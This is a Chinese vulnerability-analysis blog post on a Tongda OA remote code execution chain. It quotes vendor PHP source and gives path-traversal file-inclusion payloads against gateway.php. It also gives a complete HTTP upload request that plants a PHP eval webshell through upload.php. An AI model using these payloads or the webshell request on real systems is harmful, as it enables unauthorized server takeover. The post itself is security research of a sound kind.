通达OA RCE

# 通达OA RCE ## 0x01 获取信息 ``` 获取版本信息 inc/expired.php inc/reg_trial.php inc/reg_trial_submit.php 获取计算机名 resque/worker.php ``` ## 0x02 影响版本...

通达OA RCE

0x01 获取信息

获取版本信息
inc/expired.php
inc/reg_trial.php
inc/reg_trial_submit.php

获取计算机名
resque/worker.php

0x02 影响版本

V11版
2017版
2016版
2015版
2013增强版
2013版

0x03 漏洞简介

任意文件上传+文件包含最后getshell

不同版本文件包含的地址不一样

2013
/ispirit/im/upload.php
/ispirit/interface/gateway.php

2017
/ispirit/im/upload.php
/mac/gateway.php

2015说是没有文件包含,到时候本地搭一下看看

0X04 文件包含

上面说过了2017的文件包含位置

http://127.0.0.1/mac/gateway.php
post:json={"url": "../../nginx/logs/oa.access.log"}

但是看了一下代码并不知道为什么可以包含文件,因为没有$_POST的地方

后来一直翻包含文件才发现原来是inc/common.inc.php

if (0 < count($_COOKIE)) {
    foreach ($_COOKIE as $s_key => $s_value ) {
        if (!is_array($s_value)) {
            $_COOKIE[$s_key] = addslashes(strip_tags($s_value));
        }

        $s_key = $_COOKIE[$s_key];
    }

    reset($_COOKIE);
}

if (0 < count($_POST)) {
    $arr_html_fields = array();

    foreach ($_POST as $s_key => $s_value ) {
        if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
            if (!is_array($s_value)) {
                $_POST[$s_key] = addslashes(strip_tags($s_value));
            }

            $s_key = $_POST[$s_key];
        }
        else {
            if (($s_key == "TD_HTML_EDITOR_FORM_HTML_DATA") || ($s_key == "TD_HTML_EDITOR_PRCS_IN") || ($s_key == "TD_HTML_EDITOR_PRCS_OUT") || ($s_key == "TD_HTML_EDITOR_QTPL_PRCS_SET") || (isset($_POST["ACTION_TYPE"]) && (($_POST["ACTION_TYPE"] == "approve_center") || ($_POST["ACTION_TYPE"] == "workflow") || ($_POST["ACTION_TYPE"] == "sms") || ($_POST["ACTION_TYPE"] == "wiki")) && (($s_key == "CONTENT") || ($s_key == "TD_HTML_EDITOR_CONTENT") || ($s_key == "TD_HTML_EDITOR_TPT_CONTENT")))) {
                unset($_POST[$s_key]);
                $s_key = ($s_key == "CONTENT" ? $s_key : substr($s_key, 15));
                $s_key = addslashes($s_value);
                $arr_html_fields[$s_key] = $s_key;
            }
            else {
                $encoding = mb_detect_encoding($s_value, "GBK,UTF-8");
                unset($_POST[$s_key]);
                $s_key = substr($s_key, 15);
                $s_key = addslashes(rich_text_clean($s_value, $encoding));
                $arr_html_fields[$s_key] = $s_key;
            }
        }
    }

    reset($_POST);
    $_POST = array_merge($_POST, $arr_html_fields);
}

if (0 < count($_GET)) {
    foreach ($_GET as $s_key => $s_value ) {
        if (!is_array($s_value)) {
            $_GET[$s_key] = addslashes(strip_tags($s_value));
        }

        $s_key = $_GET[$s_key];
    }

    reset($_GET);
}

unset($s_key);
unset($s_value);

有这么一段代码,就是所有GET,POST,COOKIE都会经过过滤,同时所有变量都可以直接传参,有点变量覆盖的感觉了

那其实文件包含在GET,POST,COOKIE里面都可以,尝试了之后发现是可行的

下面是gateway.php

<?php

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";

if ($P != "") {
    if (preg_match("/[^a-z0-9;]+/i", $P)) {
        echo _("非法参数");
        exit();
    }

    session_id($P);
    session_start();
    session_write_close();
    if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
        echo _("RELOGIN");
        exit();
    }
}

if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);

    foreach ($json as $key => $val ) {
        if ($key == "data") {
            $val = (array) $val;

            foreach ($val as $keys => $value ) {
                $keys = $value;
            }
        }

        if ($key == "url") {
            $url = $val;
        }
    }

    if ($url != "") {
        if (substr($url, 0, 1) == "/") {
            $url = substr($url, 1);
        }

        include_once $url;
    }

    exit();
}

?>

有些版本在包含$url的时候也会有判断,比如一定要包含general,ispirit,module其中一个,

可以通过../general/../../nginx/logs/oa.access.log绕过

如果不传P就可绕过第一个判断,第二个判断需要先传入一个json,可以把url放到json里面,也可以把url参数单独传,只要url不为空就会进入第一个包含

总结一下常规的payload

json={"url": "../../nginx/logs/oa.access.log"}
json{}=&url=../../nginx/logs/oa.access.log
json{}=&url=../general/../../nginx/logs/oa.access.log

0x05 文件上传

http://127.0.0.1/ispirit/im/upload.php

首先传入P绕过第一个判断

不一定要获取session,主要是要绕过这个判断不走到auth.php里面

DEST_UID的两个判断不是关键,只要$UPLOAD_MODE为2都是可以走出去,不像有些文章说的一定不能等于0

但是upload里面进去找了半天还是不知道为什么就上传成功了

upload->add_attach->$ATTACH_ENCRYPT["ENABLE"] == 1

主要就是走这么一条路,ENABLE=1就上传成功了,但是不知道上传文件的代码在哪,也不知道ENABLE怎么变成1的,果然还是太弟弟了下,希望有大佬看到了带带我

这边就不继续看下去了,upload主要就是过滤后缀,不过因为有文件包含,后缀白名单里面选一个就行

现在看下来需要这几个参数

UPLOAD_MODE
P
DEST_UID    (可为空,但UPLOAD_MODE必须为2)
ATTACHMENT

就可以构造exp了

POST /ispirit/im/upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 626
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=---123
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

---123
Content-Disposition: form-data; name="UPLOAD_MODE"

2
---123
Content-Disposition: form-data; name="P"

123
---123
Content-Disposition: form-data; name="DEST_UID"

1
---123
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php eval($_POST['pass']); ?>
---123

这里Content-Type后面的boundary要和下面都一样,这也是刚刚学到的

还有一句话可以正常写,因为蚁剑自带COM执行命令

之后看看能不能写个工具自动化吧

  • 发表于 2021-05-29 02:49:44
  • 阅读 ( 7237 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
Macchiato
Macchiato

13 篇文章

站长统计